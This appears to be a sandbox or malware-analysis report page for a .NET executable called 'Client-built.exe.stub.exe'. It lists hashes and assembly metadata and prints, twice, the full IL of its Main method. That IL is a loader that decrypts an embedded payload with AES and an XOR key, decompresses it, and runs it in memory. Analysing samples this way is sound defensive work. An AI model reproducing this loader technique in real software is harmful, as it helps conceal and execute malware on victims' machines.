931a60569590d37c6df6fafc7e8a93cf

PE Executable

MD5: 931a60569590d37c6df6fafc7e8a93cf

Size: 251.39 KB

application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Unlock with Essential

Symbol Obfuscation Score Very low

MD5	931a60569590d37c6df6fafc7e8a93cf
Sha1	9a8c27798f6b5b0f9b672ed569aa028cbbc45467
Sha256	ff4e059d3f8c4285958c7dcddb1ce9084ea490e8269c514fbc2d3a1403914c9c
Sha384	05d26cf5f22d067a3dcb79ff7dc57876b8ce05c835062bc9c00034b2cc0cb4307c84916718b0c347005f41fcf890bdda
Sha512	0e079db0908c613011a4148bb5735ac4681d718bb8b030f9a03431e89b48d9fbc215e6d349826438f75507595f0e727aec9aee2cdddfad28910dd63b8c08199d
SSDeep	6144:m26+X70DfPJxIezeTPz6R+TJqGVDJf6AgJH6ImjGlNbaYpU:7972QeaOR+lq2EjZAjwNbF
TLSH	7A342304CBDEE65AE56006318DD781CB012CBA37FE77D50D6920B1CB6F6192DC7892BA

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	Client-built.exe.stub.exe
Full Name	Client-built.exe.stub.exe
EntryPoint	System.Void Loader::Main(System.String[])
Scope Name	Client-built.exe.stub.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Client-built.exe.stub
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	4
Main Method	System.Void Loader::Main(System.String[])
Main IL Instruction Count	176
Main IL	ldstr mVtTVX/fn9IvLj+K05l6JbU7P1OxaNLKZq6CsczYrPQ= call System.Byte[] System.Convert::FromBase64String(System.String) stloc.0 <null> ldstr FAOy386oMPKtPhNnHn+qpA== call System.Byte[] System.Convert::FromBase64String(System.String) stloc.1 <null> ldstr sjYlF+XaNggkI1olUGpbGKl7/nqYifXb8YXj/+Nvv18= call System.Byte[] System.Convert::FromBase64String(System.String) stloc.2 <null> ldtoken Loader call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) callvirt System.Reflection.Assembly System.Type::get_Assembly() ldstr Payload callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String) stloc.s V_4 newobj System.Void System.IO.MemoryStream::.ctor() stloc.s V_5 ldloc.s V_4 ldloc.s V_5 callvirt System.Void System.IO.Stream::CopyTo(System.IO.Stream) ldloc.s V_5 callvirt System.Byte[] System.IO.MemoryStream::ToArray() stloc.3 <null> leave.s IL_0062: leave.s IL_0070 ldloc.s V_5 brfalse.s IL_0061: endfinally ldloc.s V_5 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0070: newobj System.Void System.Security.Cryptography.RijndaelManaged::.ctor() ldloc.s V_4 brfalse.s IL_006F: endfinally ldloc.s V_4 callvirt System.Void System.IDisposable::Dispose() endfinally <null> newobj System.Void System.Security.Cryptography.RijndaelManaged::.ctor() stloc.s V_7 ldloc.s V_7 ldc.i4 256 callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_KeySize(System.Int32) ldloc.s V_7 ldc.i4 128 callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_BlockSize(System.Int32) ldloc.s V_7 ldloc.0 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[]) ldloc.s V_7 ldloc.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[]) ldloc.s V_7 ldc.i4.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode) ldloc.s V_7 ldc.i4.2 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode) ldloc.3 <null> newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[]) stloc.s V_8 ldloc.s V_8 ldloc.s V_7 callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor() ldc.i4.0 <null> newobj System.Void System.Security.Cryptography.CryptoStream::.ctor(System.IO.Stream,System.Security.Cryptography.ICryptoTransform,System.Security.Cryptography.CryptoStreamMode) stloc.s V_9 newobj System.Void System.IO.MemoryStream::.ctor() stloc.s V_10 ldloc.s V_9 ldloc.s V_10 callvirt System.Void System.IO.Stream::CopyTo(System.IO.Stream) ldloc.s V_10 callvirt System.Byte[] System.IO.MemoryStream::ToArray() stloc.s V_6 leave.s IL_00EF: leave.s IL_00FD ldloc.s V_10 brfalse.s IL_00EE: endfinally ldloc.s V_10 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_00FD: leave.s IL_010B ldloc.s V_9 brfalse.s IL_00FC: endfinally ldloc.s V_9 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_010B: leave.s IL_0119 ldloc.s V_8 brfalse.s IL_010A: endfinally ldloc.s V_8 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0119: ldc.i4.0 ldloc.s V_7 brfalse.s IL_0118: endfinally ldloc.s V_7 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldc.i4.0 <null> stloc.s V_11 br.s IL_0142: ldloc.s V_11 ldloc.s V_6 ldloc.s V_11 ldelema System.Byte dup <null> ldobj System.Byte ldloc.2 <null> ldloc.s V_11 ldloc.2 <null> ldlen <null> conv.i4 <null> rem <null> ldelem.u1 <null> xor <null> conv.u1 <null> stobj System.Byte ldloc.s V_11 ldc.i4.1 <null> add <null> stloc.s V_11 ldloc.s V_11 ldloc.s V_6 ldlen <null> conv.i4 <null> blt.s IL_011E: ldloc.s V_6 ldloc.s V_6 newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[]) stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> newobj System.Void System.IO.Compression.GZipStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode) stloc.s V_14 newobj System.Void System.IO.MemoryStream::.ctor() stloc.s V_15 ldloc.s V_14 ldloc.s V_15 callvirt System.Void System.IO.Stream::CopyTo(System.IO.Stream) ldloc.s V_15 callvirt System.Byte[] System.IO.MemoryStream::ToArray() stloc.s V_12 leave.s IL_0184: leave.s IL_0192 ldloc.s V_15 brfalse.s IL_0183: endfinally ldloc.s V_15 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0192: leave.s IL_01A0 ldloc.s V_14 brfalse.s IL_0191: endfinally ldloc.s V_14 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_01A0: ldloc.s V_12 ldloc.s V_13 brfalse.s IL_019F: endfinally ldloc.s V_13 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_12 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_16 ldloc.s V_16 callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint() ldnull <null> ldc.i4.1 <null> newarr System.Object stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldarg.0 <null> stelem.ref <null> ldloc.s V_17 callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_01CB: ret pop <null> leave.s IL_01CB: ret ret <null>
Module Name	Client-built.exe.stub.exe
Full Name	Client-built.exe.stub.exe
EntryPoint	System.Void Loader::Main(System.String[])
Scope Name	Client-built.exe.stub.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Client-built.exe.stub
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	4
Main Method	System.Void Loader::Main(System.String[])
Main IL Instruction Count	176
Main IL	ldstr mVtTVX/fn9IvLj+K05l6JbU7P1OxaNLKZq6CsczYrPQ= call System.Byte[] System.Convert::FromBase64String(System.String) stloc.0 <null> ldstr FAOy386oMPKtPhNnHn+qpA== call System.Byte[] System.Convert::FromBase64String(System.String) stloc.1 <null> ldstr sjYlF+XaNggkI1olUGpbGKl7/nqYifXb8YXj/+Nvv18= call System.Byte[] System.Convert::FromBase64String(System.String) stloc.2 <null> ldtoken Loader call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) callvirt System.Reflection.Assembly System.Type::get_Assembly() ldstr Payload callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String) stloc.s V_4 newobj System.Void System.IO.MemoryStream::.ctor() stloc.s V_5 ldloc.s V_4 ldloc.s V_5 callvirt System.Void System.IO.Stream::CopyTo(System.IO.Stream) ldloc.s V_5 callvirt System.Byte[] System.IO.MemoryStream::ToArray() stloc.3 <null> leave.s IL_0062: leave.s IL_0070 ldloc.s V_5 brfalse.s IL_0061: endfinally ldloc.s V_5 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0070: newobj System.Void System.Security.Cryptography.RijndaelManaged::.ctor() ldloc.s V_4 brfalse.s IL_006F: endfinally ldloc.s V_4 callvirt System.Void System.IDisposable::Dispose() endfinally <null> newobj System.Void System.Security.Cryptography.RijndaelManaged::.ctor() stloc.s V_7 ldloc.s V_7 ldc.i4 256 callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_KeySize(System.Int32) ldloc.s V_7 ldc.i4 128 callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_BlockSize(System.Int32) ldloc.s V_7 ldloc.0 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[]) ldloc.s V_7 ldloc.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[]) ldloc.s V_7 ldc.i4.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode) ldloc.s V_7 ldc.i4.2 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode) ldloc.3 <null> newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[]) stloc.s V_8 ldloc.s V_8 ldloc.s V_7 callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor() ldc.i4.0 <null> newobj System.Void System.Security.Cryptography.CryptoStream::.ctor(System.IO.Stream,System.Security.Cryptography.ICryptoTransform,System.Security.Cryptography.CryptoStreamMode) stloc.s V_9 newobj System.Void System.IO.MemoryStream::.ctor() stloc.s V_10 ldloc.s V_9 ldloc.s V_10 callvirt System.Void System.IO.Stream::CopyTo(System.IO.Stream) ldloc.s V_10 callvirt System.Byte[] System.IO.MemoryStream::ToArray() stloc.s V_6 leave.s IL_00EF: leave.s IL_00FD ldloc.s V_10 brfalse.s IL_00EE: endfinally ldloc.s V_10 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_00FD: leave.s IL_010B ldloc.s V_9 brfalse.s IL_00FC: endfinally ldloc.s V_9 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_010B: leave.s IL_0119 ldloc.s V_8 brfalse.s IL_010A: endfinally ldloc.s V_8 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0119: ldc.i4.0 ldloc.s V_7 brfalse.s IL_0118: endfinally ldloc.s V_7 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldc.i4.0 <null> stloc.s V_11 br.s IL_0142: ldloc.s V_11 ldloc.s V_6 ldloc.s V_11 ldelema System.Byte dup <null> ldobj System.Byte ldloc.2 <null> ldloc.s V_11 ldloc.2 <null> ldlen <null> conv.i4 <null> rem <null> ldelem.u1 <null> xor <null> conv.u1 <null> stobj System.Byte ldloc.s V_11 ldc.i4.1 <null> add <null> stloc.s V_11 ldloc.s V_11 ldloc.s V_6 ldlen <null> conv.i4 <null> blt.s IL_011E: ldloc.s V_6 ldloc.s V_6 newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[]) stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> newobj System.Void System.IO.Compression.GZipStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode) stloc.s V_14 newobj System.Void System.IO.MemoryStream::.ctor() stloc.s V_15 ldloc.s V_14 ldloc.s V_15 callvirt System.Void System.IO.Stream::CopyTo(System.IO.Stream) ldloc.s V_15 callvirt System.Byte[] System.IO.MemoryStream::ToArray() stloc.s V_12 leave.s IL_0184: leave.s IL_0192 ldloc.s V_15 brfalse.s IL_0183: endfinally ldloc.s V_15 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0192: leave.s IL_01A0 ldloc.s V_14 brfalse.s IL_0191: endfinally ldloc.s V_14 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_01A0: ldloc.s V_12 ldloc.s V_13 brfalse.s IL_019F: endfinally ldloc.s V_13 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_12 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_16 ldloc.s V_16 callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint() ldnull <null> ldc.i4.1 <null> newarr System.Object stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldarg.0 <null> stelem.ref <null> ldloc.s V_17 callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_01CB: ret pop <null> leave.s IL_01CB: ret ret <null>

No malware configuration was found at this point.

You must be signed in to view YARA rules.